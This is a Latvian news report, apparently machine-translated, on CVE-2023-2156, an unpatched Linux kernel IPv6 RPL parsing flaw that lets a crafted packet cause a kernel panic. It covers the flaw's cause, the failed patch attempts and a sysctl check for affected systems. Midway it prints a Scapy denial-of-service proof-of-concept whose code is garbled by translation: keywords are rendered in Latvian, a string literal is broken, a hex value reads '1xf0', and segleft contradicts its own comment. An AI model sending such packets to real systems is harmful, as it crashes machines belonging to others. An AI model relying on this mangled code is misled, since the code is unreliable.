0 dienu Linux IPv6 steka ievainojamība, kas pieļauj attālu kodola avāriju

Izpausta informācija par nelabotu (0 dienu) ievainojamību (CVE-2023-2156) Linux kodolā, kas ļauj apturēt sistēmu, nosūtot īpaši izstrādātas IPv6 paketes (packet-of-death). Problēma parādās tikai tad, ja ir iespējots RPL (Routing Protocol for Low-Power and Lossy Networks) protokols, kas pēc noklusējuma ir atspējots izplatījumos un tiek izmantots galvenokārt iegultās ierīcēs, kas darbojas bezvadu tīklos ar lielu pakešu zudumu.

Ievainojamību izraisa nepareiza ārējo datu apstrāde RPL protokola parsēšanas kodā, kas noved pie apgalvojuma kļūmes un kodola nonāk panikas stāvoklī. Ievietojot datus, kas iegūti, analizējot IPv6 RPL paketes galveni k_buff (Socket Buffer) struktūrā, ja lauks CmprI ir iestatīts uz 15, lauks Segleft uz 1 un CmprE uz 0, 48 baitu vektors ar adresēm tiek atspiests. līdz 528 baitiem un parādās situācija, kad buferim atvēlētās atmiņas nepietiek. Šajā gadījumā funkcija skb_push, ko izmanto, lai iespiestu datus struktūrā, pārbauda nesamērojamību starp datu lielumu un buferi, radot panikas stāvokli, lai novērstu rakstīšanu ārpus bufera robežas.

Ekspluatācijas piemērs: # Mēs izmantosim Scapy, lai izveidotu paketi no scapy.all import * importa ligzda # Izmantojiet IPv6 no sava LAN interfeisa DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Mēs izmantojam ligzdas, lai nosūtītu paketi sockfd = ligzda.ligzda(ligzda.AF_INET6, ligzda.SOCK_RAW, ligzda.IPPROTO_RAW) # Izveidojiet paketi # Tips = 3 padara to par RPL paketi # Adreses satur 3 adreses, taču, tā kā CmprI ir 15, # katra pirmo divu adrešu okteta ir tiek uzskatīta par saspiestu adresi # Segleft = 1, lai aktivizētu pastiprinājumu # lastentry = 0xf0 iestata CmprI uz 15 un CmprE uz 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses) :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Nosūtīt šo ļauno paketi sockfd.sendto(baiti(p), (DST_ADDR, 0))

Jāatzīmē, ka kodola izstrādātāji tika informēti par ievainojamību jau 2022. gada janvārī, un pēdējo 15 mēnešu laikā viņi trīs reizes ir mēģinājuši novērst problēmu, izlaižot ielāpus 2022. gada septembrī, 2022. gada oktobrī un 2023. gada aprīlī, taču katru reizi tika veikti labojumi. nepietiek, un ievainojamību nevarēja reproducēt. Galu galā ZDI projekts, kas koordinēja ievainojamības novēršanas darbu, nolēma publicēt detalizētu informāciju par ievainojamību, negaidot, kad kodolā būs pieejams funkcionāls labojums.

Tādējādi ievainojamība joprojām nav novērsta. Jo īpaši 6.4-rc2 kodolā iekļautais ielāps ir neefektīvs. Lietotājiem ieteicams pārbaudīt, vai viņu sistēmās netiek izmantots RPL protokols, ko var izdarīt, izmantojot komandu sysctl -a | grep -i rpl_seg_enabled

Avots: opennet.ru

Pievieno komentāru